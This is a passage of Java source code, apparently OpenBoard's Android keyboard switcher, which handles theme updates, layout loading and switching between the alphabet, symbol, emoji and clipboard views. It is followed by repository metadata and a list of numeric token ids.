}
private void initInternal(final LatinIME latinIme) {
mLatinIME = latinIme;
mRichImm = RichInputMethodManager.getInstance();
mState = new KeyboardState(this);
mIsHardwareAcceleratedDrawingEnabled = mLatinIME.enableHardwareAcceleration();
}
public void updateKeyboardTheme() {
final boolean themeUpdated = updateKeyboardThemeAndContextThemeWrapper(
mLatinIME, KeyboardTheme.getKeyboardTheme(mLatinIME /* context */));
if (themeUpdated && mKeyboardView != null) {
mLatinIME.setInputView(onCreateInputView(mIsHardwareAcceleratedDrawingEnabled));
}
}
private boolean updateKeyboardThemeAndContextThemeWrapper(final Context context,
final KeyboardTheme keyboardTheme) {
final boolean nightModeChanged = (mCurrentUiMode & Configuration.UI_MODE_NIGHT_MASK)
!= (context.getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK);
if (mThemeContext == null || !keyboardTheme.equals(mKeyboardTheme) || nightModeChanged) {
mKeyboardTheme = keyboardTheme;
mThemeContext = new ContextThemeWrapper(context, keyboardTheme.mStyleId);
mCurrentUiMode = context.getResources().getConfiguration().uiMode;
KeyboardLayoutSet.onKeyboardThemeChanged();
return true;
}
return false;
}
public void loadKeyboard(final EditorInfo editorInfo, final SettingsValues settingsValues,
final int currentAutoCapsState, final int currentRecapitalizeState) {
final KeyboardLayoutSet.Builder builder = new KeyboardLayoutSet.Builder(
mThemeContext, editorInfo);
final Resources res = mThemeContext.getResources();
final int keyboardWidth = ResourceUtils.getKeyboardWidth(res, settingsValues);
final int keyboardHeight = ResourceUtils.getKeyboardHeight(res, settingsValues);
builder.setKeyboardGeometry(keyboardWidth, keyboardHeight);
builder.setSubtype(mRichImm.getCurrentSubtype());
builder.setVoiceInputKeyEnabled(settingsValues.mShowsVoiceInputKey);
builder.setNumberRowEnabled(settingsValues.mShowsNumberRow);
builder.setLanguageSwitchKeyEnabled(mLatinIME.shouldShowLanguageSwitchKey());
builder.setEmojiKeyEnabled(settingsValues.mShowsEmojiKey);
builder.setSplitLayoutEnabledByUser(ProductionFlags.IS_SPLIT_KEYBOARD_SUPPORTED
&& settingsValues.mIsSplitKeyboardEnabled);
final boolean oneHandedModeEnabled = settingsValues.mOneHandedModeEnabled;
builder.setOneHandedModeEnabled(oneHandedModeEnabled);
mKeyboardLayoutSet = builder.build();
try {
mState.onLoadKeyboard(currentAutoCapsState, currentRecapitalizeState,
oneHandedModeEnabled);
mKeyboardTextsSet.setLocale(mRichImm.getCurrentSubtypeLocale(), mThemeContext);
} catch (KeyboardLayoutSetException e) {
Log.w(TAG, "loading keyboard failed: " + e.mKeyboardId, e.getCause());
}
}
public void saveKeyboardState() {
if (getKeyboard() != null || isShowingEmojiPalettes() || isShowingClipboardHistory()) {
mState.onSaveKeyboardState();
}
}
public void onHideWindow() {
if (mKeyboardView != null) {
mKeyboardView.onHideWindow();
}
}
private void setKeyboard(
@Nonnull final int keyboardId,
@Nonnull final KeyboardSwitchState toggleState) {
// Make {@link MainKeyboardView} visible and hide {@link EmojiPalettesView}.
final SettingsValues currentSettingsValues = Settings.getInstance().getCurrent();
setMainKeyboardFrame(currentSettingsValues, toggleState);
// TODO: pass this object to setKeyboard instead of getting the current values.
final MainKeyboardView keyboardView = mKeyboardView;
final Keyboard oldKeyboard = keyboardView.getKeyboard();
final Keyboard newKeyboard = mKeyboardLayoutSet.getKeyboard(keyboardId);
keyboardView.setKeyboard(newKeyboard);
mCurrentInputView.setKeyboardTopPadding(newKeyboard.mTopPadding);
keyboardView.setKeyPreviewPopupEnabled(currentSettingsValues.mKeyPreviewPopupOn);
keyboardView.setKeyPreviewAnimationParams(
currentSettingsValues.mHasCustomKeyPreviewAnimationParams,
currentSettingsValues.mKeyPreviewShowUpStartXScale,
currentSettingsValues.mKeyPreviewShowUpStartYScale,
currentSettingsValues.mKeyPreviewShowUpDuration,
currentSettingsValues.mKeyPreviewDismissEndXScale,
currentSettingsValues.mKeyPreviewDismissEndYScale,
currentSettingsValues.mKeyPreviewDismissDuration);
keyboardView.updateShortcutKey(mRichImm.isShortcutImeReady());
final boolean subtypeChanged = (oldKeyboard == null)
|| !newKeyboard.mId.mSubtype.equals(oldKeyboard.mId.mSubtype);
final int languageOnSpacebarFormatType = LanguageOnSpacebarUtils
.getLanguageOnSpacebarFormatType(newKeyboard.mId.mSubtype);
final boolean hasMultipleEnabledIMEsOrSubtypes = mRichImm
.hasMultipleEnabledIMEsOrSubtypes(true /* shouldIncludeAuxiliarySubtypes */);
keyboardView.startDisplayLanguageOnSpacebar(subtypeChanged, languageOnSpacebarFormatType,
hasMultipleEnabledIMEsOrSubtypes);
}
public Keyboard getKeyboard() {
if (mKeyboardView != null) {
return mKeyboardView.getKeyboard();
}
return null;
}
// TODO: Remove this method. Come up with a more comprehensive way to reset the keyboard layout
// when a keyboard layout set doesn't get reloaded in LatinIME.onStartInputViewInternal().
public void resetKeyboardStateToAlphabet(final int currentAutoCapsState,
final int currentRecapitalizeState) {
mState.onResetKeyboardStateToAlphabet(currentAutoCapsState, currentRecapitalizeState);
}
public void onPressKey(final int code, final boolean isSinglePointer,
final int currentAutoCapsState, final int currentRecapitalizeState) {
mState.onPressKey(code, isSinglePointer, currentAutoCapsState, currentRecapitalizeState);
}
public void onReleaseKey(final int code, final boolean withSliding,
final int currentAutoCapsState, final int currentRecapitalizeState) {
mState.onReleaseKey(code, withSliding, currentAutoCapsState, currentRecapitalizeState);
}
public void onFinishSlidingInput(final int currentAutoCapsState,
final int currentRecapitalizeState) {
mState.onFinishSlidingInput(currentAutoCapsState, currentRecapitalizeState);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setAlphabetKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setAlphabetKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_ALPHABET, KeyboardSwitchState.OTHER);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setAlphabetManualShiftedKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setAlphabetManualShiftedKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_ALPHABET_MANUAL_SHIFTED, KeyboardSwitchState.OTHER);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setAlphabetAutomaticShiftedKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setAlphabetAutomaticShiftedKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_ALPHABET_AUTOMATIC_SHIFTED, KeyboardSwitchState.OTHER);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setAlphabetShiftLockedKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setAlphabetShiftLockedKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_ALPHABET_SHIFT_LOCKED, KeyboardSwitchState.OTHER);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setAlphabetShiftLockShiftedKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setAlphabetShiftLockShiftedKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_ALPHABET_SHIFT_LOCK_SHIFTED, KeyboardSwitchState.OTHER);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setSymbolsKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setSymbolsKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_SYMBOLS, KeyboardSwitchState.OTHER);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setSymbolsShiftedKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setSymbolsShiftedKeyboard");
}
setKeyboard(KeyboardId.ELEMENT_SYMBOLS_SHIFTED, KeyboardSwitchState.SYMBOLS_SHIFTED);
}
public boolean isImeSuppressedByHardwareKeyboard(
@Nonnull final SettingsValues settingsValues,
@Nonnull final KeyboardSwitchState toggleState) {
return settingsValues.mHasHardwareKeyboard && toggleState == KeyboardSwitchState.HIDDEN;
}
private void setMainKeyboardFrame(
@Nonnull final SettingsValues settingsValues,
@Nonnull final KeyboardSwitchState toggleState) {
final int visibility = isImeSuppressedByHardwareKeyboard(settingsValues, toggleState)
? View.GONE : View.VISIBLE;
mKeyboardView.setVisibility(visibility);
// The visibility of {@link #mKeyboardView} must be aligned with {@link #MainKeyboardFrame}.
// @see #getVisibleKeyboardView() and
// @see LatinIME#onComputeInset(android.inputmethodservice.InputMethodService.Insets)
mMainKeyboardFrame.setVisibility(visibility);
mEmojiPalettesView.setVisibility(View.GONE);
mEmojiPalettesView.stopEmojiPalettes();
mClipboardHistoryView.setVisibility(View.GONE);
mClipboardHistoryView.stopClipboardHistory();
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setEmojiKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setEmojiKeyboard");
}
final Keyboard keyboard = mKeyboardLayoutSet.getKeyboard(KeyboardId.ELEMENT_ALPHABET);
mMainKeyboardFrame.setVisibility(View.GONE);
// The visibility of {@link #mKeyboardView} must be aligned with {@link #MainKeyboardFrame}.
// @see #getVisibleKeyboardView() and
// @see LatinIME#onComputeInset(android.inputmethodservice.InputMethodService.Insets)
mKeyboardView.setVisibility(View.GONE);
mEmojiPalettesView.startEmojiPalettes(
mKeyboardTextsSet.getText(KeyboardTextsSet.SWITCH_TO_ALPHA_KEY_LABEL),
mKeyboardView.getKeyVisualAttribute(), keyboard.mIconsSet);
mEmojiPalettesView.setVisibility(View.VISIBLE);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setClipboardKeyboard() {
if (DEBUG_ACTION) {
Log.d(TAG, "setClipboardKeyboard");
}
final Keyboard keyboard = mKeyboardLayoutSet.getKeyboard(KeyboardId.ELEMENT_ALPHABET);
mMainKeyboardFrame.setVisibility(View.GONE);
// The visibility of {@link #mKeyboardView} must be aligned with {@link #MainKeyboardFrame}.
// @see #getVisibleKeyboardView() and
// @see LatinIME#onComputeInset(android.inputmethodservice.InputMethodService.Insets)
mKeyboardView.setVisibility(View.GONE);
mClipboardHistoryView.startClipboardHistory(
mLatinIME.getClipboardHistoryManager(),
mKeyboardTextsSet.getText(KeyboardTextsSet.SWITCH_TO_ALPHA_KEY_LABEL),
mKeyboardView.getKeyVisualAttribute(), keyboard.mIconsSet);
mClipboardHistoryView.setVisibility(View.VISIBLE);
}
public enum KeyboardSwitchState {
HIDDEN(-1),
SYMBOLS_SHIFTED(KeyboardId.ELEMENT_SYMBOLS_SHIFTED),
EMOJI(KeyboardId.ELEMENT_EMOJI_RECENTS),
CLIPBOARD(KeyboardId.ELEMENT_CLIPBOARD),
OTHER(-1);
final int mKeyboardId;
KeyboardSwitchState(int keyboardId) {
mKeyboardId = keyboardId;
}
}
public KeyboardSwitchState getKeyboardSwitchState() {
boolean hidden = !isShowingEmojiPalettes() && !isShowingClipboardHistory()
&& (mKeyboardLayoutSet == null
|| mKeyboardView == null
|| !mKeyboardView.isShown());
if (hidden) {
return KeyboardSwitchState.HIDDEN;
} else if (isShowingEmojiPalettes()) {
return KeyboardSwitchState.EMOJI;
} else if (isShowingClipboardHistory()) {
return KeyboardSwitchState.CLIPBOARD;
} else if (isShowingKeyboardId(KeyboardId.ELEMENT_SYMBOLS_SHIFTED)) {
return KeyboardSwitchState.SYMBOLS_SHIFTED;
}
return KeyboardSwitchState.OTHER;
}
public void onToggleKeyboard(@Nonnull final KeyboardSwitchState toggleState) {
KeyboardSwitchState currentState = getKeyboardSwitchState();
Log.w(TAG, "onToggleKeyboard() : Current = " + currentState + " : Toggle = " + toggleState);
if (currentState == toggleState) {
mLatinIME.stopShowingInputView();
mLatinIME.hideWindow();
setAlphabetKeyboard();
} else {
mLatinIME.startShowingInputView(true);
if (toggleState == KeyboardSwitchState.EMOJI) {
setEmojiKeyboard();
} else if (toggleState == KeyboardSwitchState.CLIPBOARD) {
setClipboardKeyboard();
} else {
mEmojiPalettesView.stopEmojiPalettes();
mEmojiPalettesView.setVisibility(View.GONE);
mClipboardHistoryView.stopClipboardHistory();
mClipboardHistoryView.setVisibility(View.GONE);
mMainKeyboardFrame.setVisibility(View.VISIBLE);
mKeyboardView.setVisibility(View.VISIBLE);
setKeyboard(toggleState.mKeyboardId, toggleState);
}
}
}
// Future method for requesting an updating to the shift state.
@Override
public void requestUpdatingShiftState(final int autoCapsFlags, final int recapitalizeMode) {
if (DEBUG_ACTION) {
Log.d(TAG, "requestUpdatingShiftState: "
+ " autoCapsFlags=" + CapsModeUtils.flagsToString(autoCapsFlags)
+ " recapitalizeMode=" + RecapitalizeStatus.modeToString(recapitalizeMode));
}
mState.onUpdateShiftState(autoCapsFlags, recapitalizeMode);
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void startDoubleTapShiftKeyTimer() {
if (DEBUG_TIMER_ACTION) {
Log.d(TAG, "startDoubleTapShiftKeyTimer");
}
final MainKeyboardView keyboardView = getMainKeyboardView();
if (keyboardView != null) {
keyboardView.startDoubleTapShiftKeyTimer();
}
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void cancelDoubleTapShiftKeyTimer() {
if (DEBUG_TIMER_ACTION) {
Log.d(TAG, "setAlphabetKeyboard");
}
final MainKeyboardView keyboardView = getMainKeyboardView();
if (keyboardView != null) {
keyboardView.cancelDoubleTapShiftKeyTimer();
}
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void setOneHandedModeEnabled(boolean enabled) {
if (mKeyboardViewWrapper.getOneHandedModeEnabled() == enabled) {
return;
}
final Settings settings = Settings.getInstance();
mKeyboardViewWrapper.setOneHandedModeEnabled(enabled);
mKeyboardViewWrapper.setOneHandedGravity(settings.getCurrent().mOneHandedModeGravity);
settings.writeOneHandedModeEnabled(enabled);
// Reload the entire keyboard set with the same parameters
loadKeyboard(mLatinIME.getCurrentInputEditorInfo(), settings.getCurrent(),
mLatinIME.getCurrentAutoCapsState(), mLatinIME.getCurrentRecapitalizeState());
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public void switchOneHandedMode() {
mKeyboardViewWrapper.switchOneHandedModeSide();
Settings.getInstance().writeOneHandedModeGravity(mKeyboardViewWrapper.getOneHandedGravity());
}
// Implements {@link KeyboardState.SwitchActions}.
@Override
public boolean isInDoubleTapShiftKeyTimeout() {
if (DEBUG_TIMER_ACTION) {
Log.d(TAG, "isInDoubleTapShiftKeyTimeout");
}
final MainKeyboardView keyboardView = getMainKeyboardView();
return keyboardView != null && keyboardView.isInDoubleTapShiftKeyTimeout();
}
/**
* Updates state machine to figure out when to automatically switch back to the previous mode.
*/
public void onEvent(final Event event, final int currentAutoCapsState,
final int currentRecapitalizeState) {
mState.onEvent(event, currentAutoCapsState, currentRecapitalizeState);
}
public boolean isShowingKeyboardId(@Nonnull int... keyboardIds) {
if (mKeyboardView == null || !mKeyboardView.isShown()) {
return false;
}
int activeKeyboardId = mKeyboardView.getKeyboard().mId.mElementId;
for (int keyboardId : keyboardIds) {
if (activeKeyboardId == keyboardId) {
return true;
}
}
return false;
}
public boolean isShowingEmojiPalettes() {
return mEmojiPalettesView != null && mEmojiPalettesView.isShown();
}
public boolean isShowingClipboardHistory() {
return mClipboardHistoryView != null && mClipboardHistoryView.isShown();
}
public boolean isShowingMoreKeysPanel() {
if (isShowingEmojiPalettes() || isShowingClipboardHistory()) {
return false;
}
return mKeyboardView.isShowingMoreKeysPanel();
}
public View getVisibleKeyboardView() {
if (isShowingEmojiPalettes()) {
return mEmojiPalettesView;
} else if (isShowingClipboardHistory()) {
return mClipboardHistoryView;
}
return mKeyboardViewWrapper;
}
public MainKeyboardView getMainKeyboardView() {
return mKeyboardView;
}
public void deallocateMemory() {
if (mKeyboardView != null) {
mKeyboardView.cancelAllOngoingEvents();
mKeyboardView.deallocateMemory();
}
if (mEmojiPalettesView != null) {
mEmojiPalettesView.stopEmojiPalettes();
}
if (mClipboardHistoryView != null) {
mClipboardHistoryView.stopClipboardHistory();
}
}
public View onCreateInputView(final boolean isHardwareAcceleratedDrawingEnabled) {
if (mKeyboardView != null) {
mKeyboardView.closing();
}
updateKeyboardThemeAndContextThemeWrapper(
mLatinIME, KeyboardTheme.getKeyboardTheme(mLatinIME /* context */));
mCurrentInputView = (InputView)LayoutInflater.from(mThemeContext).inflate(
R.layout.input_view, null);
mMainKeyboardFrame = mCurrentInputView.findViewById(R.id.main_keyboard_frame);
mEmojiPalettesView = mCurrentInputView.findViewById(R.id.emoji_palettes_view);
mClipboardHistoryView = mCurrentInputView.findViewById(R.id.clipboard_history_view);
mKeyboardViewWrapper = mCurrentInputView.findViewById(R.id.keyboard_view_wrapper);
mKeyboardViewWrapper.setKeyboardActionListener(mLatinIME);
mKeyboardView = mCurrentInputView.findViewById(R.id.keyboard_view);
mKeyboardView.setHardwareAcceleratedDrawingEnabled(isHardwareAcceleratedDrawingEnabled);
mKeyboardView.setKeyboardActionListener(mLatinIME);
mEmojiPalettesView.setHardwareAcceleratedDrawingEnabled(
isHardwareAcceleratedDrawingEnabled);
mEmojiPalettesView.setKeyboardActionListener(mLatinIME);
mClipboardHistoryView.setHardwareAcceleratedDrawingEnabled(
isHardwareAcceleratedDrawingEnabled);
mClipboardHistoryView.setKeyboardActionListener(mLatinIME);
return mCurrentInputView;
}
public int getKeyboardShiftMode() {
final Keyboard keyboard = getKeyboard();
if (keyboard == null) {
return WordComposer.CAPS_MODE_OFF;
}
switch (keyboard.mId.mElementId) {
case KeyboardId.ELEMENT_ALPHABET_SHIFT_LOCKED:
case KeyboardId.ELEMENT_ALPHABET_SHIFT_LOCK_SHIFTED:
return WordComposer.CAPS_MODE_MANUAL_SHIFT_LOCKED;
case KeyboardId.ELEMENT_ALPHABET_MANUAL_SHIFTED:
return WordComposer.CAPS_MODE_MANUAL_SHIFTED;
case KeyboardId.ELEMENT_ALPHABET_AUTOMATIC_SHIFTED:
return WordComposer.CAPS_MODE_AUTO_SHIFTED;
default:
return WordComposer.CAPS_MODE_OFF;
}
}
public int getCurrentKeyboardScriptId() {
if (null == mKeyboardLayoutSet) {
return ScriptUtils.SCRIPT_UNKNOWN;
}
return mKeyboardLayoutSet.getScriptId();
}
}
| 25,016
|
Java
|
.java
|
openboard-team/openboard
| 2,481
| 250
| 416
|
2019-12-31T17:17:45Z
|
2024-04-21T06:08:37Z
|
f60a5d8f05fee4d8e269c8606ea2eea25c9d565690ca06c64d5815e9c18bbdc4
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
61,
906,
8107,
3944,
6391,
5426,
222,
338,
222,
338,
4773,
1549,
341,
3954,
1196,
49,
3050,
244,
55,
51,
53,
327,
1402,
332,
3801,
742,
222,
338,
863,
1648,
666,
813,
477,
822,
2959,
347,
4960,
642,
341,
1196,
51,
222,
338,
2469,
1648,
4245,
331,
1948,
451,
341,
1196,
840,
222,
338,
222,
338,
665,
1930,
574,
1516,
51,
2121,
51,
1107,
52,
4205,
52,
4106,
50,
55,
51,
53,
222,
338,
222,
338,
5416,
2147,
829,
4568,
4940,
575,
5129,
391,
347,
4144,
49,
2951,
222,
338,
2744,
1549,
341,
1196,
458,
2744,
563,
619,
332,
1117,
2771,
39,
5128,
49,
222,
338,
4213,
3912,
1895,
5186,
2258,
2979,
4489,
49,
3173,
3927,
575,
4506,
51,
222,
338,
2819,
341,
1196,
456,
341,
2835,
2940,
5139,
4243,
480,
222,
338,
5191,
1549,
341,
1196,
51,
222,
588,
222,
222,
1337,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
13240,
64,
222,
222,
485,
2616,
51,
1304,
51,
1237,
64,
222,
485,
2616,
51,
1304,
51,
595,
51,
2339,
64,
222,
485,
2616,
51,
1304,
51,
595,
51,
6061,
64,
222,
485,
2616,
51,
1058,
51,
1353,
64,
222,
485,
2616,
51,
1090,
51,
1237,
6537,
4687,
64,
222,
485,
2616,
51,
1090,
51,
25966,
64,
222,
485,
2616,
51,
1090,
51,
1089,
64,
222,
485,
2616,
51,
1090,
51,
1151,
1978,
51,
4836,
1139,
64,
222,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
1585,
51,
1167,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
13240,
51,
12368,
2362,
903,
51,
12368,
2362,
903,
1002,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
13240,
51,
27766,
51,
25946,
6713,
1089,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
13240,
51,
13491,
51,
13905,
9927,
749,
1610,
1089,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
13240,
51,
3269,
51,
12368,
1095,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
13240,
51,
3269,
51,
12368,
33363,
903,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
1630,
1089,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
12368,
4687,
1089,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
37977,
9074,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
87,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
22844,
1630,
1885,
1590,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
5108,
31348,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
1252,
51,
24486,
4644,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
3563,
51,
2977,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
3563,
51,
2977,
3367,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
2324,
51,
22785,
2116,
2769,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
2324,
51,
5980,
1501,
5144,
1652,
2769,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
2324,
51,
454,
34467,
1551,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
2324,
51,
2305,
2769,
64,
222,
485,
1105,
51,
23342,
357,
51,
1693,
2207,
51,
1151,
1978,
51,
23844,
51,
2324,
51,
3223,
2769,
64,
222,
222,
485,
3698,
51,
4341,
51,
13438,
64,
222,
222,
942,
1175,
462,
21281,
7940,
284,
4584,
21281,
1095,
51,
7940,
7113,
320,
303,
964,
924,
1175,
910,
19318,
299,
21281,
7940,
284,
51,
842,
51,
26999,
492,
465,
964,
4257,
1089,
48517,
1630,
1089,
64,
303,
964,
21281,
4687,
1089,
364,
12368,
1089,
4687,
64,
303,
964,
4340,
364,
4370,
12368,
2163,
64,
303,
964,
6697,
12368,
1089,
364,
12368,
1089,
64,
303,
964,
35556,
9927,
749,
1610,
1089,
364,
13905,
9927,
749,
1610,
1089,
64,
303,
964,
28706,
2207,
6713,
1089,
364,
25946,
6713,
1089,
64,
303,
964,
19240,
285,
9074,
364,
37977,
9074,
64,
303,
964,
22787,
1630,
1885,
1590,
364,
22844,
36173,
64,
303,
964,
1922,
364,
1640,
23711,
14586,
25411,
4631,
4006,
64,
465,
964,
21281,
1095,
364,
1095,
64,
465,
964,
21281,
2362,
903,
364,
12368,
2362,
903,
64,
303,
453,
4314,
63,
906,
2434,
3105,
1222,
21281,
33363,
903,
130,
1414,
545,
347,
3105,
1222,
21281,
2362,
903,
4037,
303,
964,
1175,
21281,
33363,
903,
364,
12368,
33363,
903,
299,
556,
21281,
33363,
903,
492,
465,
964,
21281,
6537,
364,
12368,
6537,
64,
303,
964,
7063,
364,
6537,
1237,
64,
303,
964,
648,
48517,
10818,
2116,
64,
465,
964,
924,
1175,
21281,
7940,
284,
328,
1825,
299,
556,
21281,
7940,
284,
492,
465,
581,
924,
21281,
7940,
284,
31605,
365,
320,
310,
461,
328,
1825,
64,
303,
339,
465,
964,
21281,
7940,
284,
365,
320,
310,
453,
2871,
5098,
298,
3517,
4389,
456,
25118,
51,
303,
339,
465,
581,
924,
782,
3238,
45,
3242,
19240,
285,
9074,
42413,
78,
308,
46,
320,
310,
328,
1825,
51,
1683,
4305,
45,
23844,
78,
308,
312,
303,
339,
465,
964,
782,
3238,
4305,
45,
3242,
19240,
285,
9074,
42413,
78,
308,
46,
320,
310,
364,
37977,
9074,
299,
42413,
78,
308,
64,
310,
364,
22844,
36173,
299,
22787,
1630,
1885,
1590,
51,
7432,
492,
310,
364,
1095,
299,
556,
21281,
1095,
45,
597,
312,
310,
364,
1640,
23711,
14586,
25411,
4631,
4006,
299,
364,
37977,
9074,
51,
4909,
23711,
23991,
492,
303,
339,
465,
581,
782,
1991,
12368,
6537,
365,
320,
310,
1175,
1922,
6099,
9052,
299,
1991,
12368,
6537,
2199,
1237,
6537,
4687,
45,
419,
364,
37977,
9074,
49,
21281,
6537,
51,
11728,
2207,
6537,
45,
114,
37977,
9074,
1276,
1637,
588,
894,
310,
434,
327,
4679,
9052,
979,
364,
12368,
1089,
882,
762,
46,
320,
343,
364,
37977,
9074,
51,
45003,
1089,
45,
20217,
1630,
1089,
45,
114,
1640,
23711,
14586,
25411,
4631,
4006,
894,
310,
339,
303,
339,
465,
964,
1922,
1991,
12368,
6537,
2199,
1237,
6537,
4687,
45,
3242,
7063,
1637,
49,
343,
1175,
21281,
6537,
14132,
6537,
46,
320,
310,
1175,
1922,
19200,
2116,
3663,
299,
327,
114,
3075,
10818,
2116,
568,
8149,
51,
2299,
100,
4986,
100,
83,
4022,
100,
6963,
46,
419,
882,
327,
1834,
51,
28213,
941,
38309,
941,
1726,
2116,
568,
8149,
51,
2299,
100,
4986,
100,
83,
4022,
100,
6963,
312,
310,
434,
327,
114,
6537,
1237,
630,
762,
1293,
673,
13240,
6537,
51,
3591,
45,
114,
12368,
6537,
46,
1293,
19200,
2116,
3663,
46,
320,
343,
364,
12368,
6537,
299,
14132,
6537,
64,
343,
364,
6537,
1237,
299,
556,
7063,
6537,
4687,
45,
1834,
49,
14132,
6537,
51,
114,
2291,
625,
312,
343,
48517,
10818,
2116,
299,
1637,
51,
28213,
941,
38309,
941,
1726,
2116,
64,
343,
21281,
2362,
903,
51,
286,
12368,
6537,
3663,
492,
343,
461,
878,
64,
310,
339,
310,
461,
920,
64,
303,
339,
465,
581,
782,
2480,
12368,
45,
3242,
11419,
1139,
7020,
1139,
49,
1175,
9925,
3367,
4086,
3367,
49,
343,
1175,
648,
1565,
4754,
22785,
1095,
49,
1175,
648,
1565,
454,
34467,
1095,
46,
320,
310,
1175,
21281,
2362,
903,
51,
1812,
4914,
299,
556,
21281,
2362,
903,
51,
1812,
45,
419,
364,
6537,
1237,
49,
7020,
1139,
312,
310,
1175,
17697,
755,
299,
364,
6537,
1237,
51,
28213,
492,
310,
1175,
648,
14132,
2627,
299,
6297,
2769,
51,
11728,
2207,
2627,
45,
595,
49,
4086,
3367,
312,
310,
1175,
648,
14132,
3041,
299,
6297,
2769,
51,
11728,
2207,
3041,
45,
595,
49,
4086,
3367,
312,
310,
4914,
51,
489,
12368,
9520,
45,
13240,
2627,
49,
14132,
3041,
312,
310,
4914,
51,
489,
41127,
45,
114,
22844,
36173,
51,
12344,
41127,
1052,
310,
4914,
51,
489,
17957,
1630,
971,
4006,
45,
3563,
3367,
51,
114,
46823,
17957,
1630,
971,
312,
310,
4914,
51,
489,
1936,
2368,
4006,
45,
3563,
3367,
51,
114,
46823,
1936,
2368,
312,
310,
4914,
51,
489,
5980,
7940,
971,
4006,
45,
114,
37977,
9074,
51,
3179,
4325,
5980,
7940,
971,
1052,
310,
4914,
51,
489,
13905,
971,
4006,
45,
3563,
3367,
51,
114,
46823,
13905,
971,
312,
310,
4914,
51,
489,
7356,
2362,
4006,
47989,
45,
24486,
4644,
51,
1309,
100,
35077,
100,
3319,
21533,
100,
22446,
419,
979,
4086,
3367,
51,
114,
1640,
7356,
12368,
4006,
312,
310,
1175,
1922,
1611,
77,
7996,
2116,
4006,
299,
4086,
3367,
51,
114,
3597,
77,
7996,
2116,
4006,
64,
310,
4914,
51,
489,
3597,
77,
7996,
2116,
4006,
45,
677,
77,
7996,
2116,
4006,
312,
310,
364,
12368,
2362,
903,
299,
4914,
51,
1848,
492,
310,
1614,
320,
343,
364,
1095,
51,
286,
3028,
12368,
45,
1719,
4754,
22785,
1095,
49,
1565,
454,
34467,
1095,
49,
547,
1611,
77,
7996,
2116,
4006,
312,
343,
364,
12368,
33363,
903,
51,
489,
9459,
45,
114,
22844,
36173,
51,
12344,
41127,
9459,
1046,
364,
6537,
1237,
312,
310,
339,
2385,
327,
12368,
2362,
903,
1002,
503,
46,
320,
343,
2681,
51,
124,
45,
6545,
49,
332,
6709,
14132,
3818,
63,
332,
494,
503,
51,
114,
12368,
625,
49,
503,
51,
11641,
2533,
1052,
310,
339,
303,
339,
465,
581,
782,
4166,
12368,
1095,
365,
320,
310,
434,
327,
11728,
2207,
365,
882,
762,
1293,
458,
36684,
13905,
9927,
749,
1610,
365,
1293,
458,
36684,
25946,
6713,
1177,
320,
343,
364,
1095,
51,
286,
5134,
12368,
1095,
492,
310,
339,
303,
339,
465,
581,
782,
563,
13483,
1684,
365,
320,
310,
434,
327,
114,
12368,
1089,
882,
762,
46,
320,
343,
364,
12368,
1089,
51,
286,
13483,
1684,
492,
310,
